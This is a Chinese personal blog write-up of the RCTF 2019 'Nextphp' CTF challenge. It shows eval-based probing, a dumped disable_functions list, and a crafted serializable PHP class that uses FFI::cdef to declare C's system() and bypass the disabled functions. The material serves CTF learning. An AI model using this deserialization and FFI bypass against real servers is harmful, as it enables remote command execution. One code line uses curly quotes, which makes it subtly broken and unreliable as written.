suyumen
目前主要在学习web相关

RCTF-2019-Nextphp

2021-07-23 反序列化 FFI
Word count: 671 | Reading time: 3min

页面打开直接是源码

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

扫了一下,没有别的东西了。

查下禁用函数:

?a=phpinfo();

PHP Version 7.4.0-dev

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

禁了system。列一下目录吧:

?a=print_r(scandir(%27.%27));

回显了:

Array ( [0] => . [1] => .. [2] => index.php [3] => preload.php )

读一下这个preload.php:

1
?a=print_r(file_get_contents("preload.php"));

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

意思是我可以反序列化一个这样的对象?没有system不会了。


FFI

https://wiki.php.net/rfc/ffi

允许你在php中调用C代码。当然,在默认配置下,我们只能在预加载的php文档中使用FFI,但是PHP FFI API限制仅对FFI类有效,对FFICData对象的重载函数无效。也就是说,我们可以在预加载文档中生成一些FFICData对象,然后再通过我们的代码来调用

预加载

https://wiki.php.net/rfc/preload

预加载允许服务器在启动时在内存中加载PHP文档,并使它们对所有后续请求永久可用,使用function_exists()或class_exists()检查时将返回TRUE。使用opcache.preload这个命令,我们将指定一个PHP文档 - 它将执行预加载任务。加载后,该文档将完全执行 - 并可以通过包含它们或使用opcache_compile_file()函数预加载其他文档。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => "int system(const char *command);"
];

private function run () {
$this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

}
$o = new A;
$a = serialize($o);
var_dump($a);

Tips

1.PHP 7.4.0—–>ffi

2.不会时搜一下文件名。

参考

https://www.dazhuanlan.com/2019/12/07/5deadecd03d78/

https://www.136.la/php/show-15336.html

https://www.yht7.com/news/7504

Author: suyumen

Link: https://suyumen.github.io/2021/07/23/2021-07-23-[RCTF%202019]Nextphp/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
网鼎杯-2020-SSRFMe
NextPost >
nmap
CATALOG
  1. 1. FFI
  2. 2. 预加载
  3. 3. Tips
    1. 3.1. 参考